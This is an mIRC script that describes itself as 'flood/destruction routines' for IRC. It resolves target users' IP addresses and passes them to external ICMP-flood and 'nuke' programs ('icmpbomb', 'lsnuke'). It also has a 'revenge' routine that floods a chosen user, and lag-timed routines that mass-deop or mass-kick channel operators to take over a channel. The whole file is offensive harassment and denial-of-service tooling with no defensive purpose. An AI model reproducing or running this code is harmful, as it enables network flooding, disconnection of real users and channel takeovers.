[script]
n0=;
n1=;         this section deals with various flood/dectruction routines
n2=;
n3=alias querynicks {
n4=  %nicks = ""
n5=  %i = 0
n6=  :nx
n7=  inc %i
n8=  if $query(%i) != $null { set %nicks %nicks $query(%i) | goto nx }
n9=  %i = 0
n10=  :nx2
n11=  inc %i
n12=  if $chat(%i) != $null { set %nicks %nicks $chat(%i) | goto nx2 }
n13=  return * $+ %nicks
n14=}
n15=alias allchans {
n16=  %chans = ""
n17=  %i = 0
n18=  :nx
n19=  inc %i
n20=  if $chan(%i) != $null { set %chans %chans $chan(%i) | goto nx }
n21=  %i = 0
n22=  return * $+ %chans
n23=}
n24=;
n25=;  lag checking kick and deop
n26=;
n27=alias pingops {
n28=  %i = 0
n29=  :nx
n30=  inc %i
n31=  if ($opnick(%i,$1) != $null) {
n32=    if ($a3($opnick(%i,$1)) iswm $a5($me)) dec %tvnumops
n33=    else ctcp $opnick(%i,$1) PING
n34=    goto nx
n35=  }
n36=}
n37=#lagmode off
n38=on 1:CTCPREPLY:*:{
n39=  if $1 = PING {
n40=    set %tvlaglist %tvlaglist $nick
n41=    inc %tvreplies
n42=    echo 3 -a Determined order for $nick
n43=    if (%tvreplies = %tvnumops) { .timer44 off | lagmode }
n44=  }
n45=  else { echo 4 -s [[ $+ $nick $1 reply $+ ]]: $2- }
n46=  halt
n47=}
n48=#lagmode end
n49=alias lagmode {
n50=  .disable #lagmode | .enable #regctcp
n51=  %i = 0
n52=  :nx
n53=  inc %i
n54=  if $opnick(%i,%lagchan) != $null {
n55=    if (($opnick(%i,%lagchan) !isin %tvlaglist) && ($opnick(%i,%lagchan) != $me)) {
n56=      echo 3 -a Forcing $opnick(%i,%lagchan) into list
n57=      set %tvlaglist %tvlaglist $opnick(%i,%lagchan)
n58=    }
n59=    goto nx
n60=  }
n61=  if %tvlagtype = deop lagdeop %tvlaglist
n62=  else lagkick %tvlaglist
n63=}
n64=alias lagdeop {
n65=  %i = 0 | %nicks = ""
n66=  :nx
n67=  inc %i
n68=  if $ [ $+ [ %i ] ] = $null { if $len(%nicks) > 0 mode %lagchan -oooo %nicks | halt }
n69=  set %nicks %nicks $ [ $+ [ %i ] ]
n70=  if %maxmodes // %i { mode %lagchan -oooo %nicks | %nicks = "" }
n71=  goto nx
n72=}
n73=alias lagkick {
n74=  %i = 0
n75=  :nx
n76=  inc %i
n77=  set %nick $ [ $+ [ %i ] ]
n78=  if %nick != $null { kick %lagchan %nick %kickmsg | goto nx }
n79=}
n80=#lookup off
n81=on 1:DNS: {
n82=  .disable #lookup | .enable #regdns
n83=  if ($isnumericip($raddress)) dde icmpbomb $ddename $+ icmp txtIP $raddress
n84=  elseif ($isnumericip($address)) dde icmpbomb $ddename $+ icmp txtIP $address
n85=  else dde icmpbomb $ddename $+ icmp txtIP Could not resolve
n86=}
n87=#lookup end
n88=#lookup2 off
n89=on 1:DNS: {
n90=  .disable #lookup2 | .enable #regdns
n91=  if ($isnumericip($raddress)) dde lsnuke $ddename dns $raddress
n92=  elseif ($isnumericip($address)) dde lsnuke $ddename dns txtIP $address
n93=  else dde lsnuke $ddename dns Could not resolve
n94=}
n95=#lookup2 end
n96=#revengedns off
n97=on 1:DNS: {
n98=  .disable #revengedns | .enable #regdns
n99=  if ($isnumericip($raddress)) runicmp $raddress
n100=  elseif ($isnumericip($address)) runicmp $address
n101=  else echo 4 -a %dis10 $+ Could not determine IP for %tvicmpnick
n102=}
n103=#revengedns end
n104=#nukeinfoip off
n105=on 1:DNS: {
n106=  .disable #nukeinfoip | .enable #regdns
n107=  if ($isnumericip($raddress)) echo -a %dis1 $+ IP: $+ %dis42 $raddress
n108=  elseif ($isnumericip($address)) echo -a %dis1 $+ IP: $+ %dis42 $address
n109=  else echo -a %dis1 $+ IP: $+ %dis42 could not resolve
n110=}
n111=#nukeinfoip end
n112=#geticmpip off
n113=raw 302:*:{
n114=  .disable #geticmpip
n115=  if $2 = $null { dde icmpbomb $ddename $+ icmp txtIP No such nick }
n116=  else {
n117=    set %addy $replace($2,=,!) | set %addy $replace(%addy,+,*) | set %addy $mask(%addy,2)
n118=    set %len $len(%addy) | dec %len 4
n119=    set %addy $right(%addy,%len)
n120=    if ($isnumericip(%addy)) dde icmpbomb $ddename $+ icmp txtIP %addy
n121=    else {
n122=      dde icmpbomb $ddename $+ icmp txtIP Attempting to resolve...
n123=      .disable #regdns | .enable #lookup | .dns %addy
n124=    }
n125=  }
n126=  halt
n127=}
n128=#geticmpip end
